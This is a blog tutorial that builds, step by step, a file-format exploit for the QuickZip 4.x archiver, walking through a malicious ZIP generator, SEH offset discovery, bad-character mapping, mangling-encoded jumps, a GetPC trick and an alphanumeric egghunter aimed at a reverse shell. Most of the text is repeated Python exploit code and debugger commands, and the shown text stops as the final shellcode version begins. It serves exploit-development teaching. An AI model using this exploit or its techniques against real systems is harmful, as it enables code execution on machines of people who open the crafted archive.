Table of contents

Title
Title
Table of content
Table of contents
Table of contents
Title
Title
Title

Attacks

Exploiting QuickZip 4.x

Andres Roldan

VP of Hacking

Updated

Jul 1, 2020

39 min

In this article, we will create an exploit for QuickZip 4.x versions, leveraging a vulnerability found several years ago. The way it is present, makes the exploitation not a trivial task, due mostly to space restrictions and character mangling. To achieve a successful exploitation, we’ll have to combine several techniques used on the Vulnserver series posts, making it a very good exercise for practicing our Exploit-Fu skills.

The vulnerability was originally found by corelanc0d3r and involves a SEH overwrite.

A quick search on Exploit DB shows only 3 available exploits, two of them related to the 4.x version:

Available exploits

However, one of them triggers a calc.exe and the other shows a MessageBox. In this article, we will build one exploit from-the-scratch that triggers a reverse shell. I will only borrow how the ZIP format sections are built together from the aforementioned exploits.

First PoC

To start, we must know how to create a working ZIP file, so we can have a valid starting point to work on. The following code will create a ZIP file with a single compressed file called ThisIsATestFile1 of 0 bytes:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'ThisIsATestFile1'
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Let’s check it:


And using QuickZip:

Using Quick Zip

Great! We created a fully working ZIP file using Python.

The bug on QuickZip 4.x appears to be on the way it handles long compressed file names. Let’s update our proof-of-concept (PoC) exploit to replicate the vulnerability. This time, we will send a filename of 1000 chars:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 1000
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Now create the malicious ZIP file:


Good. Now, let’s attach QuickZip to a debugger. In this example we will use Immunity Debugger:

Immunity debugger

Great! We were able to replicate the vulnerability!

If we look at the animation, we see that this time we are facing a SEH overwrite, on where the exception handler and the pointer to the next exception handler (nSEH) were overwritten.

We must now find the exact offset on where the handler gets overwritten. To do that, we will create a cyclic pattern using Metasploit’s pattern_create.rb tool:


And update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
 b'<insert pattern here>'
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Check it:

pattern

As we can see, the SEH handler was overwritten with 6B41396A. We can check the offset with pattern_offset.rb:

$ msf-pattern_offset -q 6B41396A
[*]

Great! The SEH handler starts to be overwritten on byte 298 of our payload.

Update our exploit to reflect that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

Before exploit

Great! We can now proceed to create a working exploit.

Finding bad chars

In the Vulnserver LTER article, we were faced to a behavior on where certain chars were mangled by the application. As we are exploiting a file name, chances are that there must be certain chars that are not allowed.

We can check that by creating an array with all the possible ASCII chars, injecting it with our exploit and check the mangling results. Let’s do that:

!mona bytearray -cpb '\x00\x0a\x0d\x3a'

This will tell mona to create the array with all the ASCII chars, except some usual suspects:

  1. Null byte 0x00.

  2. Line feed 0x0a.

  3. Carriage return 0x0d.

  4. Colon 0x3a.

In Python3, we can inject the same array using:

EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

We can update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    BADCHARS +
    b'C' * (698 - len(BADCHARS))
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Check it:

Bad chars

And perform an analysis of our injected buffer using:

!mona cmp -f C:\mona\QuickZip\bytearray.bin -a
[+]

Ughh! Our string was heavily mangled and starting at char 0x2f, it was dropped altogether. We’ll have to add 0x2f to our exclusions and we’ll have to iterate over by removing the dropping chars until we are able to inject all of our 256 chars, even if mangled. Luckily for you, I did the hard-work already and I only had to add the byte 0x5c to the exclusion list of chars that dropped the string.

So, our updated exploit to check bad chars is this:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

EXCLUDE = ('0x0', '0xa', '0xd', '0x2f', '0x3a', '0x5c')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

FILENAME = (
    b'A' * 298 +
    b'B' * 4 +
    BADCHARS +
    b'C' * (698 - len(BADCHARS))
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And the comparison table of mangled chars is this:

[+]

We will have to be very creative in order to use the allowed chars and maybe the mangled ones to our favor.

Exploiting

In order for us to execute our own code, we must first divert the normal execution flow to our controlled buffer. As this is a common SEH overwrite vulnerability, we must search for a POP/POP/RET sequence that ultimately will redirect the execution flow to our buffer.

We must remember to search for pointers that contains our allowed chars:

!mona seh -cp asciiprint,nonull -cm safeseh=off -cpb '\x00\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o

This will tell mona to look for pointers that contains bytes that are ASCII-printable, excluding our known bad chars, exclude modules with SafeSEH disabled, and omit pointers of modules of the OS. And the result is:

:(

We have 2 choices: Use OS addresses or allow null bytes on our search. The first option is the easiest one, but our exploit will not be portable. Also, we prefer doing it the hard way!

The main drawback of the second option is that our injected buffer will be dropped when the first null byte is found. But as we are injecting the null byte on the SEH handler address, and we are working on a little endian architecture (x86), the null byte will be the last one to be injected and we will have to use the nSEH field to jump back.

Let’s look for the available pointers of the required POP/POP/RET sequence omitting the OS modules and allowing null bytes:

!mona seh -cp asciiprint -cm safeseh=off -cpb '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o
Possible pointers

1225 possible pointers. Not bad. I will choose the one at 00524478 which is also alphanumeric. Let’s update the exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * 298 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

When we run it, we are able to reach the POP/POP/RET sequence address:

POP/POP/RET

And we also can see that the rest of our buffer (the part with the C chars) was dropped after the null byte on the POP/POP/RET address:

dropped

Now, if we execute the sequence POP/POP/RET, we will land on a 4-byte buffer belonging to nSEH:

nSEH

We’ll have to use those 4 bytes to jump back.

Jumping around

We landed at the nSEH field, which is only 4 bytes long. Let’s see the available jump options:

  1. A long jump to the start of our injected buffer is 5 bytes long. Not an option.

  2. A conditional short jump would work.

  3. An unconditional short jump JMP opcode is 0xeb. Not on our allowed chars. Wait…​ Not allowed? If we see the mangling table above, we can see that when we injected the byte 0x89 it was translated to 0xeb. We can use that!

However, a reverse jumping is performed using offsets from 0x80 to 0xff, being 0x80 the farthest. Not on our allowed chars.

Our mangling table comes to the rescue again. We will see that the char 0xa5 is converted to 0xd1 which would do a reverse jump of 44 bytes, on which we will have room to perform an encoded reverse long jump to the start of our buffer and will left us with around 250 bytes to work:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
 b'A' * (298 - 4) +
 # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check if that worked:

JMP

Great! We were able to leverage the mangling to our favor!

Encoding long jump

Now with 44 bytes to work on, we need to perform a reverse long jump to the start of our buffer. Starting at the point on where we landed after our initial short jump, the bytes needed to jump to the start of our buffer would be E9 02 FF FF FF:

Long jump

As you notice, we can’t inject those bytes because they are mangled…​Wait! Mangled! If we look at the mangling table above, we can see that we can use the following translations:

  1. 0x820xe9.

  2. 0x02 is allowed.

  3. 0x980xff.

Thus, if we inject the bytes 82 02 98 98 98, QuickZip would translate that to E9 02 FF FF FF! Update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
 b'A' * (298 - 4 - 45) +
 # Jump to the start of our buffer
 # This will be translated to \xe9\x02\xff\xff\xff
 b'\x82\x02\x98\x98\x98' +
 # Fill the rest of our buffer
 b'A' * (45 - 5) +
 # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

Wonderful JMP

Wonderful!

Egghunting

Now we have 248 bytes to work. An unencoded shell will be around 350 bytes.

With that kind of space restriction, what can use an egghunter.

To briefly recap, an egghunter is a small shellcode that will walk the entire memory of the running process looking for a tag (an egg), and when it finds it, it will execute anything that follows.

An egghunter can be created by the egghunter.rb Metasploit tool.


This will create a file called egg.bin with our egghunter, that will hunt for the egg fluiflui (I wanted it to be fluid, but it must be 4*2 bytes long).

As we see, the resulting bytes are not in our allowed list, nor are translated by other bytes, so we must encode it. We can use some of the alphanumeric encoders of msfvenom. I will use x86/alpha_mixed:


But, hey, we used an alphanumeric encoder but there are some bytes at the start that are clearly not alphanumeric! Well, those bytes are used by the encoder to get the current absolute position on memory and stores the location on ECX to perform relative calculations. That code is also known as GetPC for Get Program Counter.

However, if we can point a general purpose register (for example, EAX) to where our egghunter will begin, we could use the BufferRegister=EAX option that will eliminate those first bad chars:


Great! But, how can we do that?

Getting Program Counter (EIP)

We have performed two jumps. The first one was a short jump that pointed to the second long jump, that led us in turn to the start of our buffer. When a jump is performed, EIP register holds the address to the place the jump is pointing to. So, after the second jump EIP is pointing to the start of our buffer. As we instructed the encoder to find the egghunter on EAX, we must make EAX = EIP. However, you just can’t do something like mov eax,eip.

To do that, we can use the way the call instruction works: A call is like a jmp, except that it will push the next instruction to be executed on the stack, also called saved return address or saved EIP. So if our call points to a place where a pop eax will be, EAX will pop back that value off of the stack and will get the value of EIP!

The following code will do the trick:


And works like this:

  1. 0012FAD6 is the place where our second jump lands.

  2. That instruction will jump to 0012FADC where a call is located.

  3. When the call is executed, it will push to the stack a pointer to the next instruction, in our example 0012FAE1.

  4. That call instruction will jump to 0012FAD8 which is added for padding.

  5. Then pop eax is executed. That would pop back off of the stack 0012FAE1 and stores it on EAX.

  6. Finally, the JMP SHORT 0012FAE1 is executed that will jump to 0012FAE1.

  7. In 0012FAE1 we will put the first byte of our encoded egghunter.

Let’s update our exploit. We must encode that instructions using the mangling table:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

FILENAME = (
 # Translates to \xeb\x04: JMP SHORT +0x6
 b'\x89\x04' +
 # Padding
 b'\x41' +
 # POP EAX
 b'\x58' +
 # Translates to \xeb\x05: JMP SHORT +0x7
 b'\x89\x05' +
 # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
 b'\x8a\xf6\x98\x98\x98' +
 b'A' * (298 - 4 - 45 - 11) +
 # Jump to the start of our buffer
 # This will be translated to \xe9\x02\xff\xff\xff
 b'\x82\x02\x98\x98\x98' +
 # Fill the rest of our buffer
 b'A' * (45 - 5) +
 # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Notice that the needed bytes can be obtained using our mangle table again! Let’s check it. If everything comes as expected, EAX should have a pointer to the instruction below the CALL:

Getting EIP

Isn’t it beautiful? Now we can just inject our encoded egghunter right after the call instruction:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

EGGHUNTER = (
 b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
 b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)

FILENAME = (
 # Translates to \xeb\x04: JMP SHORT +0x6
 b'\x89\x04' +
 # Padding
 b'\x41' +
 # POP EAX
 b'\x58' +
 # Translates to \xeb\x05: JMP SHORT +0x7
 b'\x89\x05' +
 # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
 b'\x8a\xf6\x98\x98\x98' +
 EGGHUNTER +
 b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
 # Jump to the start of our buffer
 # This will be translated to \xe9\x02\xff\xff\xff
 b'\x82\x02\x98\x98\x98' +
 # Fill the rest of our buffer
 b'A' * (45 - 5) +
 # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 1698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

decoding

It worked!

Injecting shellcode

Everything’s working right now. Except that we need a shellcode and we have no place to inject it.

But remember that our egghunter will look the entire process memory for the tag fluiflui, will point EDI register there, and execute anything that follows.

Also, remember that on our payload it was included some C bytes that were chopped off from our injected buffer. But maybe there is a region in memory where that buffer was kept. Let’s check it:

C buffer

Indeed! It was kept in heap memory. Our egghunter should now be able to reach it. Let’s create an encoded reverse shell:


Notice that we used BufferRegister=EDI because the egghunter will point that register at the very beginning of our shellcode. We can update our exploit now. Remember to add the fluiflui tag, so our egghunter can reach it:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
